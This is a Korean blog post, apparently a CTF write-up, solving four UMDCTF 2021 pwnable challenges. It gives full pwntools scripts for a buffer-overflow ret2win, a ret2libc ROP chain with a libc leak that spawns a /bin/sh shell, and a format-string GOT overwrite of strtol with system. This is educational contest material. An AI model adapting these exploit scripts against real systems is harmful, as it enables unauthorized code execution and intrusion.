문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 대회 정보 : ctftime.org/event/1288 |
Jump Not Easy
get_flag 함수 덕에 쉽게 풀 수 있었음
from pwn import *
#p = process('./JNE')
p = remote('chals5.umdctf.io', 7003)
e = ELF('./JNE')
payload = ''
payload += 'a'*(0x40+0x8)
payload += p64(e.symbols['get_flag'])
p.sendlineafter('\n', payload)
p.interactive()
Jump Is Easy
64bit ROP (shellcode)
ㅎ 사실 이거 Jump Not Working문제 바이너리 받고 풀고
실수로(?) remote를 Jump Is Easy 문제 포트로 적어서 운좋게 풀렸다 ㅎㅎ;
뭔가 두 문제,,, 서로 컴파일만 다르게 한 문제 같다.
from pwn import *
#p = process('./JNW')
p = remote('chals5.umdctf.io', 7001)
e = ELF('./JNW')
libc = e.libc
gets_got = e.got['gets']
puts_plt = e.symbols['puts']
main = 0x40120B
pop_rdi = 0x4012c3
ret = 0x40101a
payload = ''
payload += 'a' * (0x40+0x8)
payload += p64(pop_rdi)
payload += p64(gets_got)
payload += p64(puts_plt)
payload += p64(main) # retrun to main
p.sendlineafter('\n', payload)
# leak
gets_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print('gets_addr = '+hex(gets_addr))
gets_offset = libc.symbols['gets']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
libc_base = gets_addr - gets_offset
print('libc_base = '+hex(libc_base))
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
print('system_addr = '+hex(system_addr))
print('binsh_addr = '+hex(binsh_addr))
# second
payload = ''
payload += 'a' * (0x40+0x8)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
p.sendlineafter('\n', payload)
p.interactive()
플래그를 보면 뭔가 쉘코드를 이용해서 풀어야 하나보다 ㅎㅎㅎㅎ;
Jump Not Working
64bit ROP
Jump Is Easy문제랑 익스코드 똑같다.ㅎㅎㅎ;
from pwn import *
#p = process('./JNW')
p = remote('chals5.umdctf.io', 7004)
e = ELF('./JNW')
libc = e.libc
gets_got = e.got['gets']
puts_plt = e.symbols['puts']
main = 0x40120B
pop_rdi = 0x4012c3
ret = 0x40101a
payload = ''
payload += 'a' * (0x40+0x8)
payload += p64(pop_rdi)
payload += p64(gets_got)
payload += p64(puts_plt)
payload += p64(main) # retrun to main
p.sendlineafter('\n', payload)
# leak
gets_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print('gets_addr = '+hex(gets_addr))
gets_offset = libc.symbols['gets']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
libc_base = gets_addr - gets_offset
print('libc_base = '+hex(libc_base))
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
print('system_addr = '+hex(system_addr))
print('binsh_addr = '+hex(binsh_addr))
# second
payload = ''
payload += 'a' * (0x40+0x8)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
p.sendlineafter('\n', payload)
p.interactive()
Jump Is Found
64bit, FSB
heap 문제인 줄 알고 쫄아서 run치려고 했던 문제.
Summary
- libc leak
- strtol_got를 system로 overwriting
- '/bin/sh\x00'
처음에 malloc이랑 gets만 보고 뭐야.. 힙문제인가..? 싶어서 run치려고 했었다. (heap 진짜 아무고토 모름)
그런데 자세히 보다보니 아래쪽에 저렇게 printf(&dest)를 보고 fsb를 떠올려냈다.
아래는 그냥 libc 주소 offset? 구하는거랑 leak하는거 디버깅 사진..
( libc 주소 - AAAAAAA 주소 )/8 + 16
+ 16을 해준 이유는 .. AAAAAAAA의 offset이 16이라서!
아 참고로 저 주소를 가져올때는 아래와 같이 가져와야 한다.
libc_addr = int(p.recv(14), 16)
입력받는 부분이 while문으로 되어 있어서 exit 메뉴를 안고르면 계속 입력할 수 있다. 그래서 return to main을 안해줘도 계속 입력을 받아서 편리했다.
strtol의 got를 system으로 덮고, gets함수를 통해 '/bin/sh\x00' 을 전송했다.
근데 자꾸 에러가 났다.
64bit에서의 fsb를 이해를 제대로 안하고 아무 함수나 가져와서 그런 듯 하다.
결론적으로 문제는 저기 체크한 부분 때문인데,
strncpy는 문자열을 복사하는 함수이다.
문자열은 NULL을 만나기 전까지 인식(?)하는데 fsb64함수를 이용하여 작성한 페이로드 코드에 자꾸 NULL이 들어가서 함수가 제대로 덮히지 않았었다.
2바이트를 덮을 땐 끊기지 않지만 더 많이 덮기 시작하면 주소를 써야하니까 NULL이 생긴다.
그래서 아래 블로그에서 fsb64함수 코드 가져와서 하위 2바이트만 덮게 했다.
blog.naver.com/yjw_sz/221891673212
from pwn import *
#p = process('./JIF')
p = remote('chals5.umdctf.io', 7002)
e = ELF('./JIF')
libc = e.libc
def fsb64(offset, addr, value, b=3):
payload = ''
prev = 0
if value == 0:
payload += '%{}$ln'.format(offset + 1)
payload += 'A' * ((8 - len(payload) % 8) % 8)
payload += p64(addr)
return payload
for i in range(b):
target = (value >> (i * 16)) & 0xffff
if prev < target:
payload += '%{}c'.format(target - prev)
elif prev > target:
payload += '%{}c'.format(0x10000 + target - prev)
payload += '%xx$hn'
prev = target
payload += 'A' * ((8 - len(payload) % 8) % 8)
for i in range(b):
idx = payload.find("%xx$hn")
off = offset + (len(payload) / 8) + i
payload = payload[:idx] + '%{}$hn'.format(off) + payload[idx+6:]
payload += 'A' * ((8 - len(payload) % 8) % 8)
for i in range(b):
payload += p64(addr + i * 2)
return payload
payload = ''
payload += 'a' * 272
payload += '%51$p' # leak
#pause()
p.sendlineafter('> ', payload)
p.recvuntil(': ')
libc_addr = int(p.recv(14), 16)
print('libc_addr = '+hex(libc_addr))
libc_base = libc_addr - libc.symbols['__libc_start_main'] - 231
print('libc_base = '+hex(libc_base))
system = libc_base + libc.symbols['system']
strtol_got = e.got['strtol']
# offset 16
payload = ''
payload += 'a' * 272
payload += fsb64(16, e.got['strtol'], system, 1)
p.sendlineafter('> ', payload)
pause()
p.sendlineafter('> ', '/bin/sh\x00')
p.interactive()
'CTF > Write UPs' 카테고리의 다른 글
[TAMUctf 2021 : Pwnable] Shellcode_Golf, Shellcode_Golf_2 풀이 (64bit, shellcode 제작, mmap, mprotect) (수정) (0) | 2021.04.26 |
---|---|
[TAMUctf 2021 : Pwnable] 내가 푼 문제들 풀이 (0) | 2021.04.26 |
[angstromCTF 2021 : binary] 내가 푼 문제들 풀이 (0) | 2021.04.08 |
[Securinets CTF 2021 : pwn] kill shot 풀이 (seccomp, Full RELRO)(수정) (0) | 2021.04.03 |
[picoCTF 2021 : pwn] 내가 푼 문제들 풀이 (0) | 2021.03.31 |